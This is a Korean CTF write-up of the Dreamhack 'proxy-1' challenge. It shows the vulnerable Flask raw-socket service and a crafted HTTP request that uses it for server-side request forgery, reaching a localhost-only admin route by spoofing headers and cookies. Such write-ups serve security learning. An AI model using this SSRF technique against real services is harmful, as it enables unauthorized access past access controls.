본문 바로가기

SWLUG/CTF

[CTF/ Dreamhack] proxy-1

https://dreamhack.io/wargame/challenges/13

 

proxy-1

Raw Socket Sender가 구현된 서비스입니다. 요구하는 조건을 맞춰 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. Reference Introduction of Webhacking

dreamhack.io

 

 

 

 

문제 확인

 

 

 

 

 

 

 

문제 풀이

 

 

서버를 생성한다

 

소켓 탭 클릭한 화면

 

아무거나 입력하면 이런 화면이 출력된다

 

 

다운로드한 파일을 확인

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
import socket

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/socket', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('socket.html')
    elif request.method == 'POST':
        host = request.form.get('host')
        port = request.form.get('port', type=int)
        data = request.form.get('data')

        retData = ""
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(3)
                s.connect((host, port))
                s.sendall(data.encode())
                while True:
                    tmpData = s.recv(1024)
                    retData += tmpData.decode()
                    if not tmpData: break
            
        except Exception as e:
            return render_template('socket_result.html', data=e)
        
        return render_template('socket_result.html', data=retData)


@app.route('/admin', methods=['POST'])
def admin():
    if request.remote_addr != '127.0.0.1':
        return 'Only localhost'

    if request.headers.get('User-Agent') != 'Admin Browser':
        return 'Only Admin Browser'

    if request.headers.get('DreamhackUser') != 'admin':
        return 'Only Admin'

    if request.cookies.get('admin') != 'true':
        return 'Admin Cookie'

    if request.form.get('userid') != 'admin':
        return 'Admin id'

    return FLAG

app.run(host='0.0.0.0', port=8000)

 

 

 

해당 코드를 보고 host는 0.0.0.0을 넣고, port는 8000을 넣으면 된다는 걸 알 수 있다.

 

 

 

Raw Socket Sender 가 구현되었다고 한다.

일반적인 소켓 통신에서는 운영체제가 TCP/IP 스택을 통해 패킷의 헤더를 자동으로 생성하고 처리하지만, Raw 소켓을 사용하면 개발자가 IP 헤더와 전송 계층 헤더(TCP, UDP 등)를 직접 구성하여 패킷을 제어할 수 있다. 

 

코드에서 remote_addr 조건이 127.0.0.1(localhost)로 설정되어 있는 경우, 외부에서 직접 접근하는 클라이언트는 이 조건을 만족시킬 수 없다.

-> 이러한 제한을 우회하기 위해 프록시서버사이드 요청 위조(SSRF) 기법을 활용한다.

(프록시 서버는 클라이언트와 서버 사이에서 중계 역할을 하며, 요청과 응답을 가로채고 수정할 수 있다. 클라이언트의 요청을 대신 처리하고 그 결과를 반환한다. 이를 통해 클라이언트의 실제 IP 주소를 숨기거나, 특정 네트워크 경로를 우회하는 등의 기능을 제공한다.)

 

 

 

 

 

 

아래와 같이 플래그를 획득할 수 있다.

 

 

 

 

data에 작성되는 부분은 다음과 같다.

POST /admin HTTP/1.1
Host: host3.dreamhack.games:16036
Content-Length: 12
Content-Type: application/x-www-form-urlencoded
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://host3.dreamhack.games:16036
User-Agent: Admin Browser
DreamhackUser: admin
Cookie: admin=true;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

userid=admin

data에 작성되는 부분

 

 

 

Header에 작성해야 할 것들은 'User-Agent', 'DreamhackUser', 'Cookie'

Body에는 'userid=admin'이 들어가야 하고

Header에는 'Content-Type: application/x-www-form-urlencoded'로 작성하면 된다.

Header부분에 Content-Length값으로 Body Data의 길이를 작성하면 된다. (12: userid=admin)

 

 

 

 

 

[RAW Socket] RAW 소켓이란

오늘은 네트워크의 보안분야에서 사용되는 소켓들 중 하나인 RAW 소켓에 대하여 알아보려고 합니다.저도 처음 들어본 내용이라 신기한게 많았는데, 글을 포스팅하면서 정리해보고자 합니다! 1. R

mangkyu.tistory.com

 

 

'SWLUG > CTF' 카테고리의 다른 글

[CTF/ Dreamhack] session - basic  (0) 2024.11.20
[WebHack][WebGoat] Authentication Bypasses, Insecure Login  (0) 2024.11.17
[WebHack][DreamHack] Mango  (0) 2024.11.17
[CTF/ Dreamhack] login-1  (0) 2024.11.17
[CTF/ RootMe] XSS - Stored 2  (0) 2024.11.13